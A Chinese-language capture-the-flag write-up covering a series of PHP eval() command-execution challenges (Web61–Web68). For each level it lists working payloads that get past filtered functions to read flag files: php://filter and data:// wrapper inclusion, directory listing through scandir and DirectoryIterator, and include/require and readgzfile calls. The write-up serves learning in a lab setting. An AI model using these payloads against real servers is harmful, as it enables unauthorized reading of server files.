本篇文章介紹了不同了方法進行題目的解析以及原因講解。
文章目錄
- Web61
- 嘗試了一下,被過濾的payload如下:
- 所以,根據上述思路,這里嘗試過的payload為:
- Web62(同Web61)
- Web63(同Web62)
- Web64(同Web63)
- Web65(同Web64)
- Web66(新知識點)
- 失敗的payload
- 知識點
- 新思路:PHP原生類可遍歷目錄
- Web67(同Web66)
- Web68(新知識)
- 總結
Web61
命令執行,突破禁用函數.先看下代碼:
<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
我們隨便嘗試了payload,發現file_get_contents()函數還被過濾了(又損失一員大醬)
嘗試了一下,被過濾的payload如下:
c=echo file_get_contents('flag.php');
c=readfile('flag.php');# 后面會解釋
c=rename("flag.php","out2.txt");
c=copy("flag.php","out1.txt");
所以,根據上述思路,這里嘗試過的payload為:
c=highlight_file('flag.php');
c=echo highlight_file('flag.php');# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 偽協議
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
當然,之前說的額外方法是不是也能用?
copy函數
被過濾了,無法使用rename函數
也被過濾了,無法使用
Web62(同Web61)
還是先看代碼:
<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
嘗試了一下,發現并未變化,繼續用Web61的payload:
(這里就不顯示了,參照上一題;)
Web63(同Web62)
<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
沒有什么不同,參照Web62關的payload;
Web64(同Web63)
<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
沒有什么不同,參照Web63關的payload;
(嗯?這回答我好像在哪見過?)
# payload:
c=show_source('flag.php');
這個不能算多,因為放到上面幾關一樣能用,只不過是我忘了而已;
Web65(同Web64)
同理,參照Web64關的payload;
Web66(新知識點)
好了,刷了這么多分,相信也厭倦了,這關開始就有點不同了:
<?php// 你們在炫技嗎?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
失敗的payload
嘗試過后,我們發現常用的函數都被過濾掉了:
show_source()
highlight_file()
而php偽協議的結果也顯示亂碼:(中文才會亂碼)
不出意外,應該就是:“秀秀得了,這次不在這里”
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
知識點
但是終究還是有成功的:
# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
那么除此之外,我們還有什么別的辦法嗎?
答:有的,那是肯定的;
要想得到flag,首先得知道文件所在的位置:
var_dump(scandir("/"));
- scandir(“/”):scandir() 函數用于掃描指定目錄并返回目錄中的文件和子目錄列表。“/” 表示服務器的根目錄(在 Linux 系統中是根目錄,Windows 系統中可能是當前磁盤根目錄)。
- var_dump():用于打印變量的詳細信息,包括數據類型、長度和值。
- 整體作用:掃描服務器根目錄下的所有文件和文件夾,并以詳細格式(包含數據類型和長度)輸出結果。
print_r('/');
- print_r() 是 PHP 中用于打印變量的函數,通常用于打印數組或對象的結構,但也可以打印普通變量。
- 這里參數是字符串 ‘/’,所以會直接輸出字符 /。
- 整體作用:簡單輸出一個斜杠字符,沒有實際的文件系統掃描功能,只是輸出字符串本身。
var_export(scandir('/'));
- 同樣調用 scandir(‘/’) 掃描服務器根目錄,獲取文件和目錄列表。
- var_export() 函數用于輸出或返回一個變量的字符串表示(類似 PHP 代碼的格式),適合用于將變量結構以可執行的 PHP 代碼形式展示。
- 整體作用:掃描服務器根目錄,并以 PHP 代碼格式的字符串形式輸出目錄列表(可以直接作為 PHP 代碼使用)。
所以,我們首先可以查看文件所在位置究竟在何處:
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));
那我們要怎么查看flag.txt文件呢?
嗯?你敢說這種話,我之前寫的文章白看了?,真得控制你了
# payload
c=highlight_file('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
新思路:PHP原生類可遍歷目錄
這種方法也是好方法,雖然我也是第一次遇到。
# payload
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
解碼后結果顯示:
Web67(同Web66)
嘗試過了,一模一樣
# 查看目錄
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));# payload
c=highlight_file('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP類遍歷目錄
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
沒什么好說的,直接看payload;
Web68(新知識)
老樣子。。。我代碼呢?
嘗試了一下發現查看目錄還是能夠正常進行:
# 查看目錄
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));
那highlight_file()
函數被過濾了,我們要如何查看flag文件呢?
經過我的嘗試,發現最有用的還是文件包含的手法:
- 在命令執行的題目,做文件包含嗎,有意思。
# payload
c=include('/flag.txt'); // 直接包含文件
c=include_once('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');# POST傳參
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=include_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP類遍歷目錄
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
還有新函數c=readgzfile();
,我也是看了WP才知道這個函數:
c=readgzfile("/flag.txt");
總結
還是那句話,好好學習沉淀,終究會達到你想要的目標。